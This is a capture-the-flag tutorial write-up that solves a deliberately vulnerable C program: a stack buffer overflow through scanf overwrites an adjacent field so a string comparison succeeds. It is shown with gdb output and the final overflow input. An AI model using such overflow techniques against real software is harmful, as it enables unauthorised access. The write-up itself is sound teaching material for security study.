Don’t_forget_the_lyrics -> Simple bufferoverflow program

The if statement here compares and check that locals.lyric is equals to desert

```
  if (strcmp(locals.lyric,"desert") == 0){
      printf("Congratulations!\n");
      char flag[512];
      // d is the function to deobfuscate the flag
rt of the challenge.
      // d(flag, "CZ4067{...}");
      printf("The flag is: %s", flag);
  }
```

First compile the C program to make it debug-able at every line using -g

```
shxn@shxn-virtual-machine:~/Downloads/CZ4067_Tutorial_Pwn_Static_Problems/dont_f
orget_the_lyrics$ gcc ./lyrics_sample.c -o lyrics_static -g
shxn@shxn-virtual-machine:~/Downloads/CZ4067_Tutorial_Pwn_Static_Problems/dont_f
orget_the_lyrics$ gdb lyrics_static
GNU gdb (Ubuntu 12.1-0ubuntu1~22.04) 12.1
Copyright (C) 2022 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.
Type "show copying" and "show warranty" for details.
This GDB was configured as "x86_64-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<https://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
    <http://www.gnu.org/software/gdb/documentation/>.

For help, type "help".
Type "apropos word" to search for commands related to "word"...
Reading symbols from lyrics_static...
(gdb) b main
Breakpoint 1 at 0x11d8: file ./lyrics_sample.c, line 9.
(gdb) run
Starting program: /home/shxn/Downloads/CZ4067_Tutorial_Pwn_Static_Problems/dont_
```

When we reach scanf, check for the buffer and lyric’s address and then check for it’s content:

```
(gdb) next
25          scanf("%s", locals.buf);
(gdb) p &locals.buf
$1 = (char (*)[16]) 0x7fffffffdc30
(gdb) p &locals.lyric
$2 = (char (*)[16]) 0x7fffffffdc40
(gdb) x/20x $sp
0x7fffffffdc30: 0x00000000      0x00000000      0x00000000      0x00000000
0x7fffffffdc40: 0x00000000      0x00000000      0x00000000      0x00000000
0x7fffffffdc50: 0x00000000      0x00000000      0x00000000      0x000000ff
0x7fffffffdc60: 0x2f2f2f2f      0x2f2f2f2f      0x2f2f2f2f      0x2f2f2f2f
0x7fffffffdc70: 0x00000d98      0x00000000      0x00000000      0x00000000
(gdb)
```

From the screenshot, we can see that image is located at 0x7fffffffdc40 , as we need to ensure ‘desert’ is being loaded into the image location correctly, we have to overflow the buffer

The final input will be: 16 A(s) + ‘desert’ -> AAAAAAAAAAAAAAAAdesert